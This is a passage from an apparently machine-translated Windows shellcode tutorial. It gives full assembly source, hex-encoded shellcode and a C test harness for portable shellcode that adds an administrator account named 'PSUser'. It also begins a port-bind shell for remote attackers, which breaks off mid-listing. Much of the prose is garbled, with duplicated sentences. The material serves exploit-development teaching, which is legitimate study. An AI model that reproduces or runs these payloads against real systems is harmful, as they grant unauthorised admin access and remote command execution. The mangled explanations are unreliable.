These have been shown in the “FUNCTION:function_name” and “DEFINE CONSTANTS” sections, and the assembly code below is made up of functions and CONSTANTS written in assembly language. Functions are helpful when designing ShellCode because they allow simple code reuse and can help you reduce the amount of code in shellCode when you use functions multiple times. They also allow you to copy them into other Shellcodes you design, which makes future shellcodes easier to write.

The only concern is that while shellcode is designed to require as little code as possible, it can’t be designed using a function that produces more code than just doing inline actions (as we’ve already done with the get_current_address function… But that’s not in this case). Define the function with a flag such as “call get_current_address” and call it with the “call” operator, for example Get_current_address “When the call operator is used, it first pushes the current address onto the stack so that it knows the return address. This function returns to the original position of the function call by using the “ret” operator

Some functions will take input values as “arguments”. These arguments may simply be a value in a particular register that the function expects. Normally, however, arguments are passed to the function via values pushed on the stack (using “push” operators such as “push eax”). Many different parameters may be pushed onto the stack of many different values passed into a function. The function then grabs (pops) these parameter values off the stack by using the “pop” operator, such as “POP ECx”. A function may also push the return value onto the stack so that the program can call it, and then pop it up. It is often found that the return value of a function is left in the “eax” register to define constants using the “db” operator, which simply writes bytes of an unmodified string into the code, as shown below. Db 0x00 “writes a null byte at the end to terminate the string.. We then use a tag to locate these bytes and use them as a complete string.

locate_constants: ; label start of constants db “WinExec” db 0x00

Assembly language also has many “int 3” operators scattered around. Int 3 “is called a” breakpoint “and tells the register to stop running at an instruction. This allows you to see the instructions being executed, the state of the registers, the state of the stack, and also to look in memory from beginning to end where the first breakpoint was located at the beginning of the main program. This allows you to step through lines of code from beginning to end (from program start to program end, and in case of call), which is a good way to see what each instruction is doing.

You will realize that I have placed two breakpoints in a row, one right next to the other

OllyDbg often displays the currently executing instruction at the top of the window, which means that if we only have a breakpoint, the “int 3” instruction will not be displayed because it has already been executed.

This can be confusing to a newbie to the OllyDbg debugger, so I have put two breakpoints so that the second “int 3” instruction can be displayed to when the first breakpoint has already been triggered

The breakpoint set for the third time is at the end of the program. This lets us see that the stack contains the generating function hashes and the corresponding function string

Shellcode

Next is the code for hash-generator.asm

Create hash-generator.asm in the Cygwin Shellcode directory on your local system using the following code. Make sure you read the code comments from cover to cover as they explain what each line of code does and give useful hints for later shellcode development.

+--------------- Start hash-generator.asm --------------+ ; hash-generator.asm [SECTION .text] BITS 32 global _start _start: jmp start_asm ; DEFINE FUNCTIONS ; FUNCTION: get_current_address get_current_address: push 0 ; create a spot for our result push eax ; save eax value mov eax, [esp+8] ; copy the return address into eax mov dword [esp+4], eax ; move return address into result spot pop eax ; restore original eax value ret ; return to instruction that called this function ; END FUNCTION: get_current_address ; FUNCTION: compute_hash compute_hash: push 0 ; create an empty spot for our result pushad ; save current registers onto stack mov eax, [esp+36] ; copy the return address into eax mov dword [esp+32], eax ; move return address into our empty spot. ; orig return addr spot will be our result spot xor edi, edi ; edi will hold our hash result edi xor eax, eax ; eax holds our current char eax cld compute_hash_again: lodsb ; puts current char into eax test al, al ; checks for null - end of function string jz compute_hash_finished ror edi, 0xd ; rotate the current hash add edi, eax ; adds current char to current hash jmp compute_hash_again compute_hash_finished: ; end of compute hash function ; edi now holds hash in 'reverse' ordered mov edx, edi ; move the result hash into edx reverse_next_hash_section: mov al, dl ; move the first 8 bits into lower part of eax shr edx, 8 ; shift edx right to align next 8 bits of hash test dl, dl ; check for null - finished hash reversal jz reverse_hash_finished shl eax, 8 ; shift eax left ready for next hash section jmp short reverse_next_hash_section ; loop back to move next section reverse_hash_finished: ; final hash is now in eax in correct order mov dword [esp+36], eax ; move return value into our return spot. popad ; restore the original register values ret ; return to instruction that called this function ; END FUNCTION: compute_hash ; DEFINE CONSTANTS locate_constants: ; label start of constants call get_current_address ; find current location in memory pop esi ; esi is pointer to function strings add esi, 9 ; move pointer over these commands jmp short locate_constants_return ; return to our main code ; Function String db "LoadLibraryA" ; result hash = 0x8e4e0eec db 0x00 db "WriteFile" ; result hash = 0x1f790ae8 db 0x00 db "CloseHandle" ; result hash = 0xfb97fd0f db 0x00 db "Sleep" ; result hash = 0xb0492ddb db 0x00 db "ReadFile" ; result hash = 0x1665fa10 db 0x00 db "GetStdHandle" ; result hash = 0x23d88774 db 0x00 db "CreatePipe" ; result hash = 0x808f0c17 db 0x00 db "SetHandleInformation" ; result hash = 0x44119e7f db 0x00 db "WinExec" ; result hash = 0x98FE8A0E db 0x00 db "ExitProcess" ; result hash = 0x7ED8E273 db 0x00 ; Null to indicate end of list db 0x00 ; END DEFINE CONSTANTS start_asm: int 3 ; start of main program int 3 ; second int 3 purely just to show up in OllyDbg jmp locate_constants ; find starting location of constants locate_constants_return: ; define where to return after locating constants next_hash: ; marks the start of the loop for next hash push esi ; push esi as parameter to compute_hash function call compute_hash ; compute_hash(esi_string) ; result now located in first position on stack int 3 ; tell debugger to stop for each hash created int 3 ; second int 3 purely just to show up in OllyDbg xor eax,eax ; clear eax check_null: ; moves pointer to start of next function string lodsb ; puts current char into eax test al,al ; test if we point to a null jz is_null ; if we found a null, we reached end of string jmp short check_null ; loop back and check next char is_null: lodsb ; puts current char into eax dec esi ; move it back one spot test al,al ; test if we point to a null jnz next_hash ; 2 nulls means end, else loop back for next hash end: int 3 ; calculated function hashes listed on stack int 3 ; tell debugger to stop to show hashes on stack int 3 ; second int 3 purely just to show up in OllyDbg +--------------- End hash-generator.asm --------------+Copy the code

Compile assembly code

So now we have shellcode that we’ve written in assembly language, and we need to compile it. This can be done using the NASM assembly compiler in a directory that has msgbox.asm (which is your assembly source code file) using the following command msgbox.bin, which is the compiled binary output file

nasm -f bin -o hash-generator.bin hash-generator.asm

Get shellcode

Now that we have a compiled binary, we can use the XXD tool to generate the Shellcode file for us. This can be done using the following XXD command, which produces the following output:

xxd -i hash-generator.bin
unsigned char hash_generator_bin[] = {
     0xe9, 0xc7, 0x00, 0x00, 0x00, 0x68, 0x00, 0x00, 0x00, 0x00, 0x50, 0x8b,
     0x44, 0x24, 0x08, 0x89, 0x44, 0x24, 0x04, 0x58, 0xc3, 0x68, 0x00, 0x00,
     0x00, 0x00, 0x60, 0x8b, 0x44, 0x24, 0x24, 0x89, 0x44, 0x24, 0x20, 0x31,
     0xff, 0x31, 0xc0, 0xfc, 0xac, 0x84, 0xc0, 0x74, 0x07, 0xc1, 0xcf, 0x0d,
     0x01, 0xc7, 0xeb, 0xf4, 0x89, 0xfa, 0x88, 0xd0, 0xc1, 0xea, 0x08, 0x84,
     0xd2, 0x74, 0x05, 0xc1, 0xe0, 0x08, 0xeb, 0xf2, 0x89, 0x44, 0x24, 0x24,
     0x61, 0xc3, 0xe8, 0xb6, 0xff, 0xff, 0xff, 0x5e, 0x81, 0xc6, 0x09, 0x00,
     0x00, 0x00, 0xeb, 0x7b, 0x4c, 0x6f, 0x61, 0x64, 0x4c, 0x69, 0x62, 0x72,
     0x61, 0x72, 0x79, 0x41, 0x00, 0x57, 0x72, 0x69, 0x74, 0x65, 0x46, 0x69,
     0x6c, 0x65, 0x00, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x48, 0x61, 0x6e, 0x64,
     0x6c, 0x65, 0x00, 0x53, 0x6c, 0x65, 0x65, 0x70, 0x00, 0x52, 0x65, 0x61,
     0x64, 0x46, 0x69, 0x6c, 0x65, 0x00, 0x47, 0x65, 0x74, 0x53, 0x74, 0x64,
     0x48, 0x61, 0x6e, 0x64, 0x6c, 0x65, 0x00, 0x43, 0x72, 0x65, 0x61, 0x74,
     0x65, 0x50, 0x69, 0x70, 0x65, 0x00, 0x53, 0x65, 0x74, 0x48, 0x61, 0x6e,
     0x64, 0x6c, 0x65, 0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x69,
     0x6f, 0x6e, 0x00, 0x57, 0x69, 0x6e, 0x45, 0x78, 0x65, 0x63, 0x00, 0x45,
     0x78, 0x69, 0x74, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x00, 0x00,
     0xcd, 0x03, 0xe9, 0x77, 0xff, 0xff, 0xff, 0x56, 0xe8, 0x3c, 0xff, 0xff,
     0xff, 0xcd, 0x03, 0x31, 0xc0, 0xac, 0x84, 0xc0, 0x74, 0x02, 0xeb, 0xf9,
     0xac, 0x4e, 0x84, 0xc0, 0x75, 0xe9, 0xcd, 0x03, 0xcd, 0x03
};
unsigned int hash_generator_bin_len = 238;
Copy the code

This produces an array of characters that can be used within a C program.

Each output hexadecimal number (0xXX) represents a byte in shellCode.

So what do we want to do with this output to produce shellcode? We will use the following script, which I put together to remove the unmodified ShellCode that can be directly put into our “ShellCodeTest.c” program

This program makes “hash-generator.bin” work, so running the following command should produce the following output, which is automatically stored in” hash-generator.shellcode “. This output may change slightly if you are using a different system or service pack than I am because the function addresses are different on your system

./xxd-shellcode.sh hash-generator.bin \xe9\xc7\x00\x00\x00\x68\x00\x00\x00\x00\x50\x8b\x44\x24\x08\x89\x44\x24\x04\x58\xc3\x68\x00\x00\x00\x00\x60\x8b\x44\x24 \x24\x89\x44\x24\x20\x31\xff\x31\xc0\xfc\xac\x84\xc0\x74\x07\xc1\xcf\x0d\x01\xc7\xeb\xf4\x89\xfa\x88\xd0\xc1\xea\x08\x84 \xd2\x74\x05\xc1\xe0\x08\xeb\xf2\x89\x44\x24\x24\x61\xc3\xe8\xb6\xff\xff\xff\x5e\x81\xc6\x09\x00\x00\x00\xeb\x7b\x4c\x6f \x61\x64\x4c\x69\x62\x72\x61\x72\x79\x41\x00\x57\x72\x69\x74\x65\x46\x69\x6c\x65\x00\x43\x6c\x6f\x73\x65\x48\x61\x6e\x64 \x6c\x65\x00\x53\x6c\x65\x65\x70\x00\x52\x65\x61\x64\x46\x69\x6c\x65\x00\x47\x65\x74\x53\x74\x64\x48\x61\x6e\x64\x6c\x65 \x00\x43\x72\x65\x61\x74\x65\x50\x69\x70\x65\x00\x53\x65\x74\x48\x61\x6e\x64\x6c\x65\x49\x6e\x66\x6f\x72\x6d\x61\x74\x69 \x6f\x6e\x00\x57\x69\x6e\x45\x78\x65\x63\x00\x45\x78\x69\x74\x50\x72\x6f\x63\x65\x73\x73\x00\x00\xcd\x03\xe9\x77\xff\xff \xff\x56\xe8\x3c\xff\xff\xff\xcd\x03\x31\xc0\xac\x84\xc0\x74\x02\xeb\xf9\xac\x4e\x84\xc0\x75\xe9\xcd\x03\xcd\x03Copy the code

Use “ShellCodeTest. c” program to test our ShellCode. The purpose of this step is to insert our shellcode into a C program that can then be compiled and executed. This program has been designed to execute our Shellcode. To do this, you need to insert your Shellcode (generated from the previous step) into the program. You put it between the quotes in the “code[]” array. The result should look like the following code:

+----------------- Start updated shellcodetest.c -----------------+ /*shellcodetest.c*/ char code[] = "\xe9\xc7\x00\x00\x00\x68\x00\x00\x00\x00\x50\x8b\x44\x24\x08\x89\x44\x24\x04\x58\xc3\x68\x00\x00\x00\x00\x60\x8b\x44\x2 4\x24\x89\x44\x24\x20\x31\xff\x31\xc0\xfc\xac\x84\xc0\x74\x07\xc1\xcf\x0d\x01\xc7\xeb\xf4\x89\xfa\x88\xd0\xc1\xea\x08\x8 4\xd2\x74\x05\xc1\xe0\x08\xeb\xf2\x89\x44\x24\x24\x61\xc3\xe8\xb6\xff\xff\xff\x5e\x81\xc6\x09\x00\x00\x00\xeb\x7b\x4c\x6 f\x61\x64\x4c\x69\x62\x72\x61\x72\x79\x41\x00\x57\x72\x69\x74\x65\x46\x69\x6c\x65\x00\x43\x6c\x6f\x73\x65\x48\x61\x6e\x6 4\x6c\x65\x00\x53\x6c\x65\x65\x70\x00\x52\x65\x61\x64\x46\x69\x6c\x65\x00\x47\x65\x74\x53\x74\x64\x48\x61\x6e\x64\x6c\x6 5\x00\x43\x72\x65\x61\x74\x65\x50\x69\x70\x65\x00\x53\x65\x74\x48\x61\x6e\x64\x6c\x65\x49\x6e\x66\x6f\x72\x6d\x61\x74\x6 9\x6f\x6e\x00\x57\x69\x6e\x45\x78\x65\x63\x00\x45\x78\x69\x74\x50\x72\x6f\x63\x65\x73\x73\x00\x00\xcd\x03\xe9\x77\xff\xf f\xff\x56\xe8\x3c\xff\xff\xff\xcd\x03\x31\xc0\xac\x84\xc0\x74\x02\xeb\xf9\xac\x4e\x84\xc0\x75\xe9\xcd\x03\xcd\x03"; int main(int argc, char **argv) { int (*func)(); func = (int (*)()) code; (int)(*func)(); } +----------------- End updated shellcodetest.c -----------------+Copy the code

Now we need to compile the modified ShellCodeTest.c program so that we can execute our Shellcode in the program. Normally this will be done using GCC in the Cygwin directory; However, this time we want to run executables on Windows. So in addition to using GCC, we will use the Windows C compiler “lcc-win32” that was already installed in Tutorial 1

You can Start using LCC from “Start->All Programs-> LCC-win32 -> LCC-win32 “. You might create a new project, all created by naming it “hash_generator” or other tasks in the File menu. If it tells you to create an “application skeleton” you go no, because we already have c code and we just want to compile it. Use the default options to do the rest.

If you want to open the shellCodeTest. c File using the File menu when you have already started LCC, you can find it in a location like “C:\cygwin\home{username}\ ShellCode \ shellCodeTest. c”

When you open this file,LCC may give you a warning “1 lines longer than 500 characters were truncated”. Ignore it. It doesn’t actually truncate our shellcode.

To Compile this code, click on the “Compile” menu and select “Compile ShellCodeTest.c”. Your current ShellCode directory should have a project directory named “LCC”. This directory should now contain the ShellCodeTest.exe program. Normally we will just execute this program to execute our Shellcode halfway through; This time, however, it won’t work because we want to see the hash result generated on the stack. We do this by using the OllyDbg debugger.

Execute and analyze shellCode with OllyDbg

You can start using the OllyDbg debugger by simply double-clicking on the zip file you downloaded in Tutorial 1. Once started, when you want to open ShellCodeTest.exe using the File menu, you can find it in a location like “C:\cygwin\home{username}\ ShellCode \ LCC \ shellCodeTest.exe”. Now that you’ve opened your executable with OllyDbg, you should see something like the image below, with some red Pointers pointing to it.

You can see in the figure above that the executable has been loaded into OllyDbg.

The top left of the window shows the instructions that will be executed on the machine. A breakpoint can be set on any instruction in real time by double-clicking any address on the leftmost side of the window. It will appear red. Double-click again to cancel the breakpoint. You can change any instruction at any time by double-clicking the instruction itself.

Registers and their values are displayed in the upper right corner of the window. This allows you to see exactly what each instruction is in the register. If the value of the register changes after an instruction is executed the register is highlighted in red.

At the bottom right of the window is the stack window. This allows you to see what is pushed, stored, and ejected from the stack in real time. This allows you to understand exactly how the stack is controlled. Once you understand this principle, it will help you understand how to write more efficient ShellCode. The bottom left of the window is a memory dump area that allows you to see and search for unmodified bytes in memory. You can click on any register, stack, or code access and select the “Show in Dump” “Play” button to start the program and keep running until it reaches a breakpoint, an access violation, or the end of the program. This can also be done by pressing the F9 key.

The “Stop into” button will execute an instruction at any time; However, if it reaches the “call” instruction, it will step into the function and execute each instruction simultaneously, which can be done by pressing the F7 key.

The “Stop over” button will also execute a command at any time; However, if it reaches the “call” instruction, it will “step over” the function, which means it will execute the function without displaying each instruction.

In this tutorial, we will press the “Play” (or F9) button to start our program. Because we have written the “int 3” instruction (breakpoint) into our shellcode, the debugger will stop executing when the first breakpoint is reached. As shown below:

The figure above shows one of our breakpoints (int 3)

This is the main part at the beginning of our Shellcode, we’ve created it up here.

If you want to see exactly what happens in each register and stack by executing each instruction throughout the program, you can keep pressing the “step into(F7)” or “Step Over(F8)” buttons. Remember in the code we have two breakpoints side by side. This happens after the first int 3 stops. It will still show the user an “int 3” as shown in the figure above so that we immediately know it stopped because of a breakpoint.

In addition, if it stops because of an error then an error message appears in the status bar at the bottom of OllyDbg.

If you want to start executing the program again, click the Play button twice (because we have two breakpoints).

This time you can clearly see two breakpoints. The call instruction is preceded by the “Call Compute_hash” instruction. This function computes the hash and pushes it onto the stack. You can see it in the “Stack Window” and also see that the function string (the computed function hash) has been pushed onto the Stack. What you need to remember is that a stack is like a stacked deck of cards. The last “card” to be pushed on the stack is the first parameter at the top of the stack and will be the first to pop off the stack. You can also control the top of the stack by changing the esp (extended stack pointer) register.

So you can see that the string of the first function that was found has been pushed onto the stack, and the corresponding hash has been computed and pushed onto the stack. If you click Play twice now you will see the name of the next function and the hash that has been pushed onto the stack. If you keep doing this, you should start looking at something like this: That’s a list of function names and hashes (which are positioned on the stack)

If you click Play you can even go to the end of the function name table while the program moves down to the end, as shown in the three breakpoints. This should give you a complete list of function names and hash, as shown below:

A: congratulations!

You simply create a program that generates a hash, defines, finds, and uses a string of function names while dropping the corresponding hash on the stack. You have learned the basics of OllyDbg by executing programs in OllyDbg, which gives you a clear view of registers and stacks

While creating ShellCode, you also learned how to use a more systematic approach, creating shellCode that allows code reuse and is more efficient

This program will be used constantly when creating ShellCode because you need to find the Windows function you need to call and the corresponding hash. This is the first step in creating shellCode programs that can span different Windows operating systems.

Tutorial 6 will show you how to do this right! We will remove the hard-coded address by changing the addUser. asm code. So we will need the hash of the “winExec” and “ExitProcess” functions generated in this tutorial

Have fun!

0 x05 dynamic shellcode


So far we have created shellCode that contains hard-coded Windows function addresses. Hard-coded memory addresses limit ShellCode to specific Windows, and service packs even run in possible patch-level environments.

Our purpose

Our goal will be to create “Windows Command Execution Shellcode” (from Tutorial 3). It doesn’t hardcode any memory addresses so that our ShellCode is portable across Windows

First find kernel32.dll in memory, then walk through kernel32.dll to find each function name, comparing each function hash with the function hash we generated in the previous tutorial. Creating a function hash

From Tutorial 3, we have added a user with administrator privileges on the local system using the “WinExec” and “ExitProcess” functions. In Tutorial 5 we created hashes for these functions and learned how to define constants in our shellCode. The following snippet shows how to define a hash constant in the current shellCode

+------------------ [snip] ------------------+ ; DEFINE CONSTANTS locate_hashes: call locate_hashes_return ; WinExec ; result hash = 0x98FE8A0E db 0x98 db 0xFE db 0x8A db 0x0E ; ExitProcess ; result hash = 0x7ED8E273 db 0x7E db 0xD8 db 0xE2 db 0x73 ; END DEFINE CONSTANTS +------------------ [snip] ------------------+Copy the code

So how do we find the address of kernel32.dll and the function?

Kernel32.dll is always loaded when Windows boots up, and all Windows operating systems (pre-Vista) load kernel32.dll into a predetermined location in memory. You can locate kernel32.dll and step in from here to find each function name contained in kernel32.dll. This allows us to find the addresses of all functions in kernel32.dll.

As we loop through each function, we compute the hash for each function name and compare it to the first function hash we precomputed and searched. At this stage, we find our second function hash again, and then our third function, until we have reached the end of our hash table.

The assembly code for this tutorial contains the following new functions that allow us to perform the above actions: The assembly code for this tutorial contains the following new functions that allow us to perform the above actions:

find_kernel32     find_function     resolve_symbols_for_dll

Shellcode data flow

The first command in our shellcode skips all functions already defined in assembly code and assembly code constants in “main”. At this point we need to allocate space on the stack of our function address. Each function address is 4 bytes, so 8 bytes are allocated on the stack used to store the two function addresses. If future shellcode uses an additional function, then this value should be represented on the stack as 12 bytes – of concern are the decimal and hexadecimal flags

The next instruction treats the EBP as a stack frame pointer. It acts as a marker on the stack that doesn’t change. This allows us to reference the address of the function that is associated with the EBP register

As shown below:

Our shellcode then calls “find_kernel32”, which puts the address of kernel32.dll in the EAX register. We then find our invariant function hash and call “resolve_symbols_for_DLL”. This function uses “find_function”, which iterates through kernel32.dll to find the address of the function using our hash and places it on the stack where we have allocated it.

Our function address can be called with the following call instruction:

call [ebp+4] ; WinExec call [ebp+8] ; ExitProcessCopy the code

As we did in Tutorial 3, we can now start calling these functions with our custom ShellCode to create a new user, but this time we can’t use the hard-coded function address. Remember the shellcode below

The Shellcode

+--------------- Start adduser-dynamic.asm --------------+ ; adduser-dynamic.asm [SECTION .text] BITS 32 global _start _start: jmp start_asm ; DEFINE FUNCTIONS ; FUNCTION: find_kernel32 find_kernel32: push esi xor eax, eax mov eax, [fs:eax+0x30] test eax, eax js find_kernel32_9x find_kernel32_nt: mov eax, [eax + 0x0c] mov esi, [eax + 0x1c] lodsd mov eax, [eax + 0x8] jmp find_kernel32_finished find_kernel32_9x: mov eax, [eax + 0x34] lea eax, [eax + 0x7c] mov eax, [eax + 0x3c] find_kernel32_finished: pop esi ret ; END FUNCTION: find_kernel32 ; FUNCTION: find_function find_function: pushad mov ebp, [esp + 0x24] mov eax, [ebp + 0x3c] mov edx, [ebp + eax + 0x78] add edx, ebp mov ecx, [edx + 0x18] mov ebx, [edx + 0x20] add ebx, ebp find_function_loop: jecxz find_function_finished dec ecx mov esi, [ebx + ecx * 4] add esi, ebp ; esi now points to current function string ; start of compute hash function compute_hash: ; put this into a function xor edi, edi ; edi will hold our hash result xor eax, eax ; eax holds our current char cld compute_hash_again: lodsb ; puts current char into eax (except first time) test al, al ; checks for null - end of function string jz compute_hash_finished ror edi, 0xd ; rotate the current hash add edi, eax ; adds current char to current hash jmp compute_hash_again compute_hash_finished: ; end of compute hash function find_function_compare: ; this is where it compares the calculated hash to our hash cmp edi, [esp + 0x28] jnz find_function_loop mov ebx, [edx + 0x24] add ebx, ebp mov cx, [ebx + 2 * ecx] mov ebx, [edx + 0x1c] add ebx, ebp mov eax, [ebx + 4 * ecx] add eax, ebp ; this is the VMA of the function mov [esp + 0x1c], eax find_function_finished: popad ret ; END FUNCTION: find_function ; FUNCTION: resolve_symbols_for_dll resolve_symbols_for_dll: ; about to load current hash into eax (pointed to by esi) lodsd push eax push edx call find_function mov [edi], eax add esp, 0x08 add edi, 0x04 cmp esi, ecx jne resolve_symbols_for_dll resolve_symbols_for_dll_finished: ret ; END FUNCTION: resolve_symbols_for_dll ; DEFINE CONSTANTS locate_hashes: call locate_hashes_return ; WinExec ; result hash = 0x98FE8A0E db 0x98 db 0xFE db 0x8A db 0x0E ; ExitProcess ; result hash = 0x7ED8E273 db 0x7E db 0xD8 db 0xE2 db 0x73 ; END DEFINE CONSTANTS start_asm: ; start our main program sub esp, 0x08 ; allocate space on stack for function addresses mov ebp, esp ; set ebp as frame ptr for relative offset on stack call find_kernel32 ; find address of Kernel32.dll mov edx, eax ; resolve kernel32 symbols jmp short locate_hashes ; locate address of our hashes locate_hashes_return: ; define return label to return to this code pop esi ; get constants address from stack lea edi, [ebp + 0x04] ; this is where we store our function addresses mov ecx, esi add ecx, 0x08 ; length of dns shellcode hash list call resolve_symbols_for_dll ; add user section jmp short GetCommand CommandReturn: pop ebx ; ebx now holds the handle to the string xor eax,eax ; empties out eax push eax ; push null onto stack as empty parameter value push ebx ; push the command onto the stack call [ebp+4] ; call WinExec(path,showcode) xor eax,eax ; zero the register again, clears winexec retval push eax ; push null onto stack as empty parameter value call [ebp+8] ; call ExitProcess(0); GetCommand: call CommandReturn db "cmd.exe /c net user PSUser PSPasswd /ADD && net localgroup Administrators /ADD PSUser" db 0x00 +--------------- End adduser-dynamic.asm --------------+Copy the code

Compile assembly code

In the previous tutorial, we could manually compile assembly code in NASM for each step, use XXD and xxD-shellcode.sh to remove the unmodified Shellcode, insert the unmodified Shellcode into shellCodeTest.c, and then compile this with GCC Test the program. It’s a little difficult to make slight changes to shellCode each time.

For this reason, I’ve created “Shellcode-Compiler.sh”, which does all these steps for you! You should have downloaded this script, along with any other necessary scripts and programs, in Tutorial 1. The use of this program is as follows:

$ ./shellcode-compiler.sh
      Usage: ./shellcode-compiler.sh filename.asm
      Eg, ./shellcode-compiler.sh shellcode.asm
Copy the code

Take the assembler as a file to input to the compiler, and create an executable file in the Cygwin environment in the form of filename.shellcode. The tutorial assembler can be compiled with the following command and output as follows

$ ./shellcode-compiler.sh adduser-dynamic.asm

Compile adduser-dynamic.asm into adduser-dynamic.bin

[nasm -f bin -o adduser-dynamic.bin adduser-dynamic.asm]

Convert adduser-dynamic.bin to adduser-dynamic.shellcode

[./xxd-shellcode.sh adduser-dynamic.asm] \xe9\x9b\x00\x00\x00\x56\x31\xc0\x64\x8b\x40\x30\x85\xc0\x78\x0f\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40\x08\xe9\x09\x00\x00 \x00\x8b\x40\x34\x8d\x40\x7c\x8b\x40\x3c\x5e\xc3\x60\x8b\x6c\x24\x24\x8b\x45\x3c\x8b\x54\x05\x78\x01\xea\x8b\x4a\x18\x8b \x5a\x20\x01\xeb\xe3\x34\x49\x8b\x34\x8b\x01\xee\x31\xff\x31\xc0\xfc\xac\x84\xc0\x74\x07\xc1\xcf\x0d\x01\xc7\xeb\xf4\x3b \x7c\x24\x28\x75\xe1\x8b\x5a\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5a\x1c\x01\xeb\x8b\x04\x8b\x01\xe8\x89\x44\x24\x1c\x61\xc3 \xad\x50\x52\xe8\xaa\xff\xff\xff\x89\x07\x81\xc4\x08\x00\x00\x00\x81\xc7\x04\x00\x00\x00\x39\xce\x75\xe6\xc3\xe8\x19\x00 \x00\x00\x98\xfe\x8a\x0e\x7e\xd8\xe2\x73\x81\xec\x08\x00\x00\x00\x89\xe5\xe8\x58\xff\xff\xff\x89\xc2\xeb\xe2\x5e\x8d\x7d \x04\x89\xf1\x81\xc1\x08\x00\x00\x00\xe8\xb6\xff\xff\xff\xeb\x0e\x5b\x31\xc0\x50\x53\xff\x55\x04\x31\xc0\x50\xff\x55\x08 \xe8\xed\xff\xff\xff\x63\x6d\x64\x2e\x65\x78\x65\x20\x2f\x63\x20\x6e\x65\x74\x20\x75\x73\x65\x72\x20\x50\x53\x55\x73\x65 \x72\x20\x50\x53\x50\x61\x73\x73\x77\x64\x20\x2f\x41\x44\x44\x20\x26\x26\x20\x6e\x65\x74\x20\x6c\x6f\x63\x61\x6c\x67\x72 \x6f\x75\x70\x20\x41\x64\x6d\x69\x6e\x69\x73\x74\x72\x61\x74\x6f\x72\x73\x20\x2f\x41\x44\x44\x20\x50\x53\x55\x73\x65\x72Copy the code

Create adduser – dynamic. Shellcodetest. C

Compile adduser-dynamic. shellcodeTest. c into adduser-dynamic. shellcodeTest. c

You can now execute./adduser-dynamic. shellCodeTest [.exe]

Have fun!

Ty Miller     www.projectshellcode.com

Now you should be ready to test ShellCode. Test ShellCode. Before running this program we list the accounts on your local system with the following command:

# net user     (lists the local accounts on your system)

You should now be able to run your shellcode through the test program “./adduser-dynamic. shellCodeTest Creates shellcode that adds a user named “PSUser” with administrator privileges to your system and should exit cleanly. /adduser-dynamic. shellCodeTest creates shellCode that adds a user named “PSUser” with administrator privileges to your system and should exit cleanly. /adduser-dynamic. shellCodeTest

# ./adduser-dynamic.shellcodetest     The command completed successfully.     (adds a user account)     The command completed successfully.     (adds the user account to the administrators group)     (then exists cleanly)

We now use the command to reconfirm that the user has been created, as shown below:

net user     (lists the local accounts, now including “PSUser”)

Clean up the

You should make sure that you have deleted this account from your system in case it is not used by others and your system is hacked. Use the following command:

net user PSUser /delete     The command completed successfully.     (deletes the “PSUser” account)

A: congratulations!

You have created ShellCode, which automatically finds the memory address of the kernel32.dll and Windows functions we need. Shellcode then uses these function addresses to execute functions to add an administrator account to the local system. You can now write portable ShellCode across many different Windows systems! But learning can’t stop there! We now need to know how to create a network connection that allows a remote attacker to execute commands on the compromised system. This will be covered in the next tutorial

0x06 Port is bound to ShellCode


This tutorial provides an introduction to network ShellCode. This shellcode demonstrates how to dynamically load libraries and find function addresses in those libraries. It then proceeded to implement shellcode “Port Bind”, which sets up a socket for listening and connects remote attackers to the local command prompt.

A lot of the code was pulled and learned from the following awesome paper with some slight modifications.

A lot of the code is taken from the excellent paper below (with minor modifications)

Our purpose – http://www.hick.org/code/skape/papers/win32-shellcode.pdf

The first stage of this shellcode will perform the same steps as the previous tutorial, where Kernel32.dll is located and functions located. In this case the following functions will be required:

The first stage of this ShellCode completes the same steps as the previous tutorial, locating the Kernel32.dll and functions. In this case, the following function will be required

– LoadLibraryA

– CreateProcessA

– ExitProcess

The main difference with this process is that we need to find the network function, which is not in kernel32.dll. This means we need to use LoadLibraryA to load “ws2_32.dll”, which contains the following functions we want to call:

– WSASocketA

– bind

– socket

– accept

– WSAStartup

You need to create a function hash for all of these functions, as demonstrated in the previous tutorial.

Each of these network functions will be used to install a listening port that is ready to accept connections. Once the attacker has made the connection, their client socket is connected to a new command shell process, which allows the attacker to send remote commands to the system

Do we need WSAStartup and ExitProcess functions?

The WSAStartup function is used to initialize the network service in a process. If our “ShellCodeTest” program has no network connection then we need to call this function from our ShellCode.

If shellcode is included in an exploit, it exploits a process that has already initialized the network (such as a web browser, IIS, or Apache) and then this function may be ignored to make shellcode smaller.

Similarly, strict ExitProcess functions with size limits may also be ignored. The main process will hang

If either of these are taken out then you also need to update the “hash list length” within the shellcode for ws2_32 and Kernel32, respectively. This is noted in the shellcode below.

If these functions are removed, then you need to update the “Hash List Length” in ws2_32 and Kernel32 shellcode respectively, remembering the shellcode below

The Shellcode

+--------------- Start portbind.asm --------------+
;portbind.asm
[SECTION .text]
BITS 32
global _start
_start:
    jmp start_asm
;DEFINE FUNCTIONS
;FUNCTION: find_kernel32
find_kernel32:
    push esi
    xor eax, eax
    mov eax, [fs:eax+0x30]
    test eax, eax
    js find_kernel32_9x
find_kernel32_nt:
    mov eax, [eax + 0x0c]
    mov esi, [eax + 0x1c]
    lodsd
    mov eax, [eax + 0x8]
    jmp find_kernel32_finished
find_kernel32_9x:
    mov eax, [eax + 0x34]
    lea eax, [eax + 0x7c]
    mov eax, [eax + 0x3c]
find_kernel32_finished:
    pop esi
    ret
;END FUNCTION: find_kernel32
;FUNCTION: find_function
find_function:
    pushad
    mov ebp, [esp + 0x24]
    mov eax, [ebp + 0x3c]
    mov edx, [ebp + eax + 0x78]
    add edx, ebp
    mov ecx, [edx + 0x18]
    mov ebx, [edx + 0x20]
    add ebx, ebp
find_function_loop:
    jecxz find_function_finished
    dec ecx
    mov esi, [ebx + ecx * 4]
    add esi, ebp
    
compute_hash:
    xor edi, edi
    xor eax, eax
    cld
compute_hash_again:
    lodsb
    test al, al
    jz compute_hash_finished
    ror edi, 0xd
    add edi, eax
    jmp compute_hash_again
compute_hash_finished:
find_function_compare:
    cmp edi, [esp + 0x28]
    jnz find_function_loop
    mov ebx, [edx + 0x24]
    add ebx, ebp
    mov cx, [ebx + 2 * ecx]
    mov ebx, [edx + 0x1c]
    add ebx, ebp
    mov eax, [ebx + 4 * ecx]
    add eax, ebp
    mov [esp + 0x1c], eax
find_function_finished:
